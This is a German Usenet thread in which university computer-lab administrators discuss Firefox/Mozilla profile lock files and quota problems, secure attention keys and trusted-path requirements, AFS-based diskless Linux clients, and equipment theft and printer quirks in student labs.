Sondern eine Dialogbox, dass noch eine Instanz läuft... nicht viel
besser, da muss dann halt einer von der Aufsicht kommen und 'rwho' sowie
meistens 'rm -f .mozilla/firefox/*/.parentlock' machen, aber wenigstens
überschreiten sie nicht mehr ständig ihre Quota über mehrfache
Browsercaches.
Naja, wie gesagt, ich probiere das morgen^Wheute mal mit
savetextmode/restoretextmode aus... und wenn's klappt, gibt's bald eine
Änderung in der inittab o.ä.
Jörg Sommer
Rudolf Polzer <use...@durchnull.ath.cx> schrieb:
> »Peter J. Holzer« <hjp-u...@hjp.at> wrote:
>> Es würde vielleicht bei der Fertigstellung helfen, wenn irgendwer mal
>> Andrew Mortons Frage aus dem Jahr 2001 beantworten würde:
>>
>> | Can anyone tell me *why* our SAK implementation doesn't
>> | meet C2 requirements?
>>
>> Die Frage findet Google an diversen Stellen, Antwort aber keine.
>
> Ich kenne die C2-Anforderungen nicht, und scheinbar auch niemand sonstg.
Meint ihr das hier:
http://www.radium.ncsc.mil/tpep/library/rainbow/5200.28-STD.html
Schöne Grüße, Jörg.
--
Die meisten Menschen wollen lieber durch Lob ruiniert
als durch Kritik gerettet werden.
Jörg Sommer
Rudolf Polzer <use...@durchnull.ath.cx> schrieb:
> Und "meine Quota ist voll" ist auch mit 250 MB Quota immer noch ein sehr
> häufiges Problem - meist verursacht durch den
> Netscape/Mozilla-Profilwahnsinn (es bleiben Lockfiles liegen, und die
> bieten dann an, ein neues Profil anzulegen - mit weiteren 50 MB Cache).
Da könntest du als Admin ihnen aber schon im Profil die Einstellung
machen, dass kein Cache verwendet wird. Einfach in die
/e/mozilla-firefox/pref/firefox.js
user_pref("browser.cache.disk.enable", false); schreiben.
Schöne Grüße, Jörg.
--
Wir leben zwar unter dem gleichen Himmel,
müssen aber nicht zwangsläufig den gleichen Horizont haben.
Rudolf Polzer
> Rudolf Polzer <use...@durchnull.ath.cx> schrieb:
> > Und "meine Quota ist voll" ist auch mit 250 MB Quota immer noch ein sehr
> > häufiges Problem - meist verursacht durch den
> > Netscape/Mozilla-Profilwahnsinn (es bleiben Lockfiles liegen, und die
> > bieten dann an, ein neues Profil anzulegen - mit weiteren 50 MB Cache).
>
> Da könntest du als Admin ihnen aber schon im Profil die Einstellung
> machen, dass kein Cache verwendet wird. Einfach in die
> /e/mozilla-firefox/pref/firefox.js
> user_pref("browser.cache.disk.enable", false); schreiben.
Das ist schonmal gut, danke - ändert aber leider nichts am ähnlichen
Problem mit Netscape Mail. Da haben Leute teilweise ihre Mails in viele
Profile verstreut und fragen uns, wo ihre Mails hin sind.
Warum musste das mit den Profilen überhaupt eingeführt werden?
Peter J. Holzer
> »Peter J. Holzer« <hjp-u...@hjp.at> wrote:
> > Eine Kombination von SAK und DontVTSwitch scheint mir für Workstations
> > durchaus brauchbar. Man kann sich dann halt nur unter X11 einloggen und
> > nicht an einer Text-Konsole. Ist bei manchen "echten" Unix-Workstations
> > auch so ähnlich.
>
> Textkonsolenlogin ist für User aber erforderlich, wenn sie ihre Quota
> über die grace time hinaus überschritten haben (oder das "große" Limit
> erreicht haben).
>
> Zumindest ist dann bei den Studenten kein graphisches Login mehr möglich
> - nicht einmal auf "Failsafe", d.h. "nur xterm starten".
Ja, ich fürchte, da hast Du recht. Das .Xauthority wird wohl schon mit
den Rechten des Users geschrieben, und wenn das nicht funktioniert, kann
das xterm nicht zum X-Server verbinden.
Peter J. Holzer
> Hallo Rudolf,
>
> Rudolf Polzer <use...@durchnull.ath.cx> schrieb:
> > »Peter J. Holzer« <hjp-u...@hjp.at> wrote:
> >> Es würde vielleicht bei der Fertigstellung helfen, wenn irgendwer mal
> >> Andrew Mortons Frage aus dem Jahr 2001 beantworten würde:
> >>
> >> | Can anyone tell me *why* our SAK implementation doesn't
> >> | meet C2 requirements?
> >>
> >> Die Frage findet Google an diversen Stellen, Antwort aber keine.
> >
> > Ich kenne die C2-Anforderungen nicht, und scheinbar auch niemand sonstg.
>
> Meint ihr das hier:
> http://www.radium.ncsc.mil/tpep/library/rainbow/5200.28-STD.html
Ja, allerdings ist das eine B2-Anforderung:
| 3.2.2.1.1 Trusted Path
|
| The TCB shall support a trusted communication path between itself
| and user for initial login and authentication. Communications via
| this path shall be initiated exclusively by a user.
und sonderlich detailliert ist es auch nicht. Dass Keyboard und
Bildschirm dafür in einem definierten Zustand sein müssen, ist
allerdings einleuchtend.
Adrian Knoth
>> So geschehen bei uns im Pool an der Fakultät. Der Pool ist
>> videoüberwacht und es kommt regelmäßig jemand vorbei. Denoch hat es
>> jemand fertig gebracht, in den Abendstunden den Rechner aufzuschrauben
>> und den RAM zu entwenden.
> War es auf den Videos zu sehen?
AFAIK war es in der Vor-Video-Zeit.
> - und es fällt hier auch auf, wenn ein Rechner seinen Cronjob "ich bin
> da, soll ich die Updates vom FTP ziehen oder habt ihr sonstige
> Konfigurationsänderungen für mich?" nicht ausführt.
Stymper. ;) Die Rechner haben überhaupt nichts Lokales (außer einen
Plattencache), / liegt im AFS. Damit haben alle Nodes immer den
aktuellen Stand. Eigene Cronjobs gibt es sowieso nicht.
Achja, Debian - verwaltet wird alles mit apt ;)
> Bei uns verschwinden eher alte schmutzige billige PS/2-Standardmäuse.
Sind hierzulande durch Versenken im Möbelstück vor Entnahme gesichert.
Mit hinreichend Gewalt läßt sich das natürlich ebenfalls ändern.
> Ich bezweifle allerdings, dass unser Toner in irgendwelche Heimdrucker
> reinpasst.
Frage des Profs: "Wer von Ihnen hat einen Farbtintenstrahldrucker?"
Betretenes Schweigen. Gemurmel aus dem Auditorium: "Farblaser."
Prof: "Donnerwetter, Farb*laser* sogar? Ok, wer von Ihnen hat
eventuell noch einen alten Farbtintenstrahldrucker im Keller?"
Er wollte auf das CYMK-Farbmodell hinaus.
--
mail: a...@thur.de http://adi.thur.de PGP: v2-key via keyserver
Die Lage war noch nie so ernst wie immer.
Rudolf Polzer
> Rudolf Polzer <use...@durchnull.ath.cx> wrote:
> > - und es fällt hier auch auf, wenn ein Rechner seinen Cronjob "ich bin
> > da, soll ich die Updates vom FTP ziehen oder habt ihr sonstige
> > Konfigurationsänderungen für mich?" nicht ausführt.
>
> Stymper. ;) Die Rechner haben überhaupt nichts Lokales (außer einen
> Plattencache), / liegt im AFS.
Kann Linux das endlich oder muss man da weiterhin manuell und extremst
aufwendig mit einer initrd rummurksen?
> mit haben alle Nodes immer den aktuellen Stand. Eigene Cronjobs gibt
> es sowieso nicht.
Wäre bei uns ein Muss - viele brauchen das einfach, und das sogar für
sinnvolle Dinge. Auf den Rechnern lassen oft Studenten ihre Rechenjobs
im Hintergrund laufen.
> Achja, Debian - verwaltet wird alles mit apt ;)
Hier leider nur Fedora, und apt gibt's da bald nicht mehr (bisher gibt
es kein apt4rpm für x86_64, was bald kommen wird). Momentan wird noch
mit apt gearbeitet. Wenn man Debian gewohnt ist, findet man apt4rpm
sowas von langsam...
> > Bei uns verschwinden eher alte schmutzige billige PS/2-Standardmäuse.
>
> Sind hierzulande durch Versenken im Möbelstück vor Entnahme gesichert.
> Mit hinreichend Gewalt läßt sich das natürlich ebenfalls ändern.
Die *Maus* im Möbelstück versenken?
Bei der Tastatur kann ich mir das ja vorstellen...
> > Ich bezweifle allerdings, dass unser Toner in irgendwelche Heimdrucker
> > reinpasst.
>
> Frage des Profs: "Wer von Ihnen hat einen Farbtintenstrahldrucker?"
[...]
Ich meinte eher, dass kaum jemand einen "richtig großen" Drucker zuhause
stehen hat, wo die Tonerkartusche überhaupt mechanisch reinpasst (ist
zumindest größer als die von den Druckern, die ich zuhause hatte).
So einen mit mehreren Ausgabefächern und Sortierer, ein Meter irgendwas
hoch, paar tausend Blatt Papier, vier Papierfächer, ständige Ausgabe auf
dem Display "FACH 3 LEER" und ständig fragende Studenten, was denn mit
dem Drucker los ist? Ein ganz normaler "Vieldrucker" halt, nichts
besonderes und ein wenig alt.
(Ursache: Fach 3 ist sehr klein und da ist praktisch nie Papier drin,
was aber auch egal ist, wenn in Fach 4 welches drin ist - leider lässt
sich der Drucker nicht abgewöhnen, ständig "FACH 3 LEER" zu schreiben.
Wenn dann ein Druckjob etwas mehr als normal im Postscript-Interpreter
rumwerkelt, dann denken die Leute immer, der Drucker wäre leer. Obwohl
auf zig Zetteln[0] an der Wand steht, dass GENAU DIESE Meldung zu
ignorieren ist...).
[0]: Auf einem anderen Zettel dort steht "Wenn ihr nicht lesen könnt -
wieso druckt ihr dann was aus?"
Jörg Sommer
Rudolf Polzer <use...@durchnull.ath.cx> schrieb:
> »Jörg Sommer« <jo...@alea.gnuu.de> wrote:
>> Rudolf Polzer <use...@durchnull.ath.cx> schrieb:
>> > Und "meine Quota ist voll" ist auch mit 250 MB Quota immer noch ein sehr
>> > häufiges Problem - meist verursacht durch den
>> > Netscape/Mozilla-Profilwahnsinn (es bleiben Lockfiles liegen, und die
>> > bieten dann an, ein neues Profil anzulegen - mit weiteren 50 MB Cache).
>>
>> Da könntest du als Admin ihnen aber schon im Profil die Einstellung
>> machen, dass kein Cache verwendet wird. Einfach in die
>> /e/mozilla-firefox/pref/firefox.js
>> user_pref("browser.cache.disk.enable", false); schreiben.
>
> Das ist schonmal gut, danke - ändert aber leider nichts am ähnlichen
> Problem mit Netscape Mail. Da haben Leute teilweise ihre Mails in viele
> Profile verstreut und fragen uns, wo ihre Mails hin sind.
Mit Mozilla kannst du ihnen verbieten, weitere Profile anzulegen. Da gibt
es die Möglichkeit, dass du eine Konfiguration vorgibst und diese darf
vom Benutzer nicht verändert werden.
> Warum musste das mit den Profilen überhaupt eingeführt werden?
Damit man unterschiedliche Identitäten realisieren kann? Büro vs. privat?
Keine Ahnung. Ich hab auch nur eine und mir fällt nicht ein, wofür ich
eine zweite bräuchte.
Schönes Wochenende, Jörg.
--
Der Klügere gibt so lange nach bis er der Dumme ist.
Jörg Sommer
Rudolf Polzer <use...@durchnull.ath.cx> schrieb:
> »Adrian Knoth« <a...@thur.de> wrote:
>> Stymper. ;) Die Rechner haben überhaupt nichts Lokales (außer einen
>> Plattencache), / liegt im AFS.
>
> Kann Linux das endlich oder muss man da weiterhin manuell und extremst
> aufwendig mit einer initrd rummurksen?
Ja, man muss noch mit einer initrd ran. Aber nicht extremst aufwendig.
Prinzipell würde ich aber von AFS abraten, weil es Rechte nur
verzeichnisweit vergibt, was sich in /etc/ auf shadow oder in /etc/ssh/
sehr schlecht macht.
>> mit haben alle Nodes immer den aktuellen Stand. Eigene Cronjobs gibt
>> es sowieso nicht.
>
> Wäre bei uns ein Muss - viele brauchen das einfach, und das sogar für
> sinnvolle Dinge. Auf den Rechnern lassen oft Studenten ihre Rechenjobs
> im Hintergrund laufen.
Es muss so und so einen Master geben. Dort kann auch ein Cron laufen von
dem aus sicht der Job auf die entsprechenden Rechner verbindet. Das
Problem mit Cron ist einfach die Verteilung. Der Job würde dann auf allen
Maschinen ausgeführt werden, weil es sind ja alles die gleichen Maschinen.
Schöne Grüße, Jörg.
--
Da würde ich auch lieber den Panzerführerschein machen als den MCSE.
Bringt mehr, dürfte das gleiche kosten und macht sicher mehr Spaß.
Jens Dittmar in de.comp.security
Rudolf Polzer
> Rudolf Polzer <use...@durchnull.ath.cx> schrieb:
> > »Jörg Sommer« <jo...@alea.gnuu.de> wrote:
> >> Rudolf Polzer <use...@durchnull.ath.cx> schrieb:
> >> > Und "meine Quota ist voll" ist auch mit 250 MB Quota immer noch ein sehr
> >> > häufiges Problem - meist verursacht durch den
> >> > Netscape/Mozilla-Profilwahnsinn (es bleiben Lockfiles liegen, und die
> >> > bieten dann an, ein neues Profil anzulegen - mit weiteren 50 MB Cache).
> >>
> >> Da könntest du als Admin ihnen aber schon im Profil die Einstellung
> >> machen, dass kein Cache verwendet wird. Einfach in die
> >> /e/mozilla-firefox/pref/firefox.js
> >> user_pref("browser.cache.disk.enable", false); schreiben.
> >
> > Das ist schonmal gut, danke - ändert aber leider nichts am ähnlichen
> > Problem mit Netscape Mail. Da haben Leute teilweise ihre Mails in viele
> > Profile verstreut und fragen uns, wo ihre Mails hin sind.
>
> Mit Mozilla kannst du ihnen verbieten, weitere Profile anzulegen. Da gibt
> es die Möglichkeit, dass du eine Konfiguration vorgibst und diese darf
> vom Benutzer nicht verändert werden.
Die Studenten sollen aber durchaus in der Lage sein, ihre Konfiguration
zu ändern.
Nur das unfreiwillige Anlegen von Profilen muss raus - was Firefox ja
auch getan hat.